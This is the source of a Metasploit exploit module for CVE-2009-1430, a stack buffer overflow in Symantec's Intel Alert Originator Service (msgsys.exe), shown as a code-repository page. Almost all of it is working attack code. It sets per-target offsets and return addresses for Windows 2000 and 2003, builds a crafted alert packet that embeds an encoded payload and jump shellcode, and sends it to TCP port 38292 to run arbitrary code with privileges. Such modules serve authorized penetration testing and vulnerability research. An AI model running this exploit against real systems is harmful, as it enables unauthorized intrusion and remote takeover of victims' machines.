Path: blob/master/modules/exploits/windows/antivirus/symantec_iao.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.17When an attacker sends a specially crafted alert, arbitrary code may be executed.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2009-1430' ],23[ 'OSVDB', '54159'],24[ 'BID', '34674' ],25],26'Privileged' => true,27'DefaultOptions' => {28'EXITFUNC' => 'process',29},30'Payload' => {31'Space' => 800,32'BadChars' => "\x00\x20\x0a\x0d",33'StackAdjustment' => -3500,34'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",35},36'Platform' => 'win',37'Targets' => [38[ 'Windows 2003', { 'Offset' => 1061, 'Ret' => 0x00401130 } ],39[ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],40],41'DefaultTarget' => 0,42'DisclosureDate' => '2009-04-28',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([ Opt::RPORT(38292) ])52end5354def exploit55connect5657filler = rand_text_alpha_upper(2048)5859sploit = payload.encoded60sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)61sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)62sploit << [target.ret].pack('V')63sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string64sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"6566msg = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"67msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')68msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"69msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"70msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"71msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')72msg << rand_text_alpha_upper(7) + " Alert" + sploit73msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')74msg << rand_text_alpha_upper(rand(10) + 36)75msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"76msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"77msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"78msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"79msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"80msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"81msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"8283print_status("Trying target #{target.name}...")84sock.put(msg)8586handler87disconnect88end89end909192